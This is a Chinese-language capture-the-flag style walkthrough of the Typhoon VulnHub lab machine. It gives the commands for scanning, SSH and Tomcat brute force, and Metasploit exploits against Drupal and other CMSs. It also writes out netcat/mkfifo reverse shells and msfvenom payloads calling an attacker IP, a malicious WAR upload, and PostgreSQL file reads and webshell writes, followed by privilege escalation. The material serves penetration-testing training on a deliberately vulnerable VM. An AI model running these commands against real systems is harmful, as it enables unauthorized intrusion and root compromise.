kali滲透綜合靶機(九)--Typhoon靶機
靶機下載地址:https://www.vulnhub.com/entry/typhoon-102,267/
一、主機發現
1.netdiscover -i eth0 -r 192.168.10.0/24,進過分析,確定192.168.10.162是目標靶機
二、埠掃描
1. masscan --rate=10000 -p0-65535 192.168.10.162
三埠服務識別
1. nmap -sV -T4 -O -p 110,139,631,21,46818,56669,143,53,5432,60954,8080,27017,22,25,3306,445,54180,995,6379,111,2049,37214,80,993 192.168.10.162
或nmap -sV -p- -A 192.168.10.162
四、漏洞查詢與利用
21埠(ftp)
nmap掃描可以匿名訪問
瀏覽器訪問,發現什麼都沒有
22埠(ssh)
發現ssh的版本是OpenSSH 6.6.1p1,存在使用者名稱列舉漏洞,使用msf中的ssh列舉指令碼(auxiliary/scanner/ssh/ssh_enumusers)
使用cewl收集頁面可能是使用者的資訊,並新增幾個常用的使用者名稱,製作一個使用者名稱字典
使用列舉使用者指令碼列舉使用者
python 40136.py 192.168.10.162 -U user.txt
列舉出來使用者名稱為vulnerablevm,www,admin,root,admin123
使用hydra破解密碼
hydra -l admin -P /root/rockyou.txt ssh://192.168.10.162 -t 6,下圖成功破解admin賬戶的密碼metallica
嘗試用admin賬戶ssh登入目標,登入成功
開始提權,提權方式與下面的提權方式一樣
25埠(smtp)
發現開放25埠,版本為Postfix smtpd
使用smtp-user-enum 列舉使用者名稱
smtp-user-enum -M VRFY -U user.txt -t 192.168.10.162,列舉出使用者名稱admin
53埠(DNS ISC BIND9.9.5-3)
檢視是否存在漏洞,發現dns版本存在拒絕服務漏洞
80埠(http Apache httpd 2.4.7)
1.掃描網站後臺目錄
1.1發現http://192.168.10.162/cms,嘗試弱口令,失敗
1.2漏洞庫查詢是否有對應的漏洞
1.3在kali中開啟msfconsole,並使用了以下exp
1.4成功獲得shell
1.5然後就是提權,提權方式有配置不當提權和核心提權
Drupal cms
2.1發現192.168.10.162/drupal/
2.2漏洞庫查詢是否有對應的漏洞
2.3在kali中開啟msfconsole,並使用了以下exp
2.4設定引數
2.5開始攻擊,成功獲得shell
2.6接下開便是提權了,提權方式和之前的一樣
1.3發現http://192.168.10.162/mongoadmin/
1.3.1發現是mondo的web管理頁面,點選change database,出現如下
1.3.2點選creds,發現賬戶密碼
1.3.3嘗試用ssh登入,成功登陸
1.3.4檢視系統版本以及核心版本
1.3.5在kali檢視是否有對應的漏洞
1.3.6下載、編譯、提權
1.3.7利用sudo提權,前提是已經獲得當前普通使用者的密碼,並且當前使用者屬於sudo組,下圖成功獲得管理員許可權
445埠
發現目標開放了445埠,使用enum4linux列舉目標共享資訊
發現允許空賬戶、空密碼登入,共享檔案typhoon
遠端掛載
mount -t cifs -o username='',password='' //192.168.10.162/typhoon /mnt
8080(http Apache Tomcat/Coyote JSP engine 1.1)
發現開放了8080,瀏覽器訪問http://192.168.10.162:8080
dirb掃描http://192.168.10.162:8080
發現http://192.168.10.162:8080/manager/,提示需要輸入密碼
使用msf auxiliary/scanner/http/tomcat_mgr_login 破解tomcat使用者名稱密碼
成功獲得tomcat使用者名稱密碼
使用獲得的使用者名稱登入,發現tomcat 的版本是Version 7.0.52
使用metasploit的一個模組tomcat_mgr_upload來嘗試進行登入,利用成功,獲得meterpreter會話
輸入shell,發現當前shell不是互動式的shell,重新開啟一個互動式的shell
python -c 'import pty;pty.spawn("/bin/bash")'
開始提權
1.1檢視核心版本以及系統版本
1.2利用系統版本的漏洞,進行本地提權
2.利用配置不當進行提權
2.2 我們需要使用Msfvenom建立一個bash程式碼
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.10.151 lport=9999 R
2.3之後將上面生成的惡意程式碼在目標靶機系統中新增到script.sh檔案
echo "mkfifo /tmp/ruoljay; nc 192.168.10.151 9999 0</tmp/ ruoljay | /bin/sh >/tmp/ ruoljay 2>&1; rm /tmp/ ruoljay " > script.sh
2.4在攻擊端開啟監聽,目標端執行指令碼,下圖可以看到直接獲得管理員許可權
3.1用低許可權使用者將構造的命令寫入script.sh,令檔案呼叫以root身份執行的/bin/sh,然後反彈shell,就可以獲得root許可權了
Echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.151 8888 >/tmp/f;”>script.sh
3.2在kali攻擊端監聽,獲得管理員許可權
Tomcat的後臺管理獲取shell
http://192.168.10.162:8080/manager/html
1.msfvenom來生WAR檔案
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.10.151 lport=5555 -f war -o evil.war
2.使用7z l evil.war 檢視evulll.war具體內容
3.上傳evil.war檔案
4.攻擊端監聽,瀏覽器訪問上傳的惡意Web應用程式
http://192.168.10.162:8080/evil/wjsdgaavcuyf.jsp
5.這次攻擊端獲得反彈shell
6.接下來便是提權,方式和之前的一樣。
5432(PostgreSQL)
1.使用auxiliary/scanner/postgres/postgres_login,嘗試爆破PostgreSQL資料庫使用者名稱密碼
2.成功爆破出來PostgreSQL使用者名稱以及密碼
3.登入資料庫
psql -h 192.168.10.162 -U postgres
4.列下目錄
5. 讀取許可權允許的檔案
select pg_read_file('postgresql.conf',0,1000);
6.建表,並使用copy從檔案寫入資料到表
DROP TABLE if EXISTS MrLee;CREATE TABLE MrLee(t TEXT);COPY MrLee FROM '/etc/passwd';select * from MrLee limit 1 offset 0;
成功讀取到了/etc/passwd第一行
7.直接讀出所有資料
SELECT * FROM MrLee;
8.利用資料庫寫檔案
INSERT INTO MrLee(t) VALUES('hello,MrLee');
COPY MrLee(t) TO '/tmp/MrLee';
SELECT * FROM MrLee;
顯示裡面有一句hello,MrLee,成功寫入檔案,併成功讀取到源內容
9.寫入木馬
9.1建立OID,清空內容
SELECT lo_create(9999);
delete from pg_largeobject where loid=9999;
//建立OID,清空內容
9.2接下來就是寫入木馬了,使用hex
insert into pg_largeobject (loid,pageno,data) values(9999, 0, decode('.....', 'hex'));
10.菜刀連線
11.接下來就是提權了
總結:
1.資訊收集、目錄掃描、漏洞分析與利用
2.getshell方法
1.ssh爆破
2.lotus cms漏洞利用
3.Drupal cms漏洞利用
4.mongoadmin 資料庫管理web頁面檢視使用者名稱、密碼
5.tomcat tomcat_mgr_upload漏洞
6.PostgreSQL未授權訪問
3.提權方法
1.sudo提權
2.核心版本提權
3.利用配置不當進行提權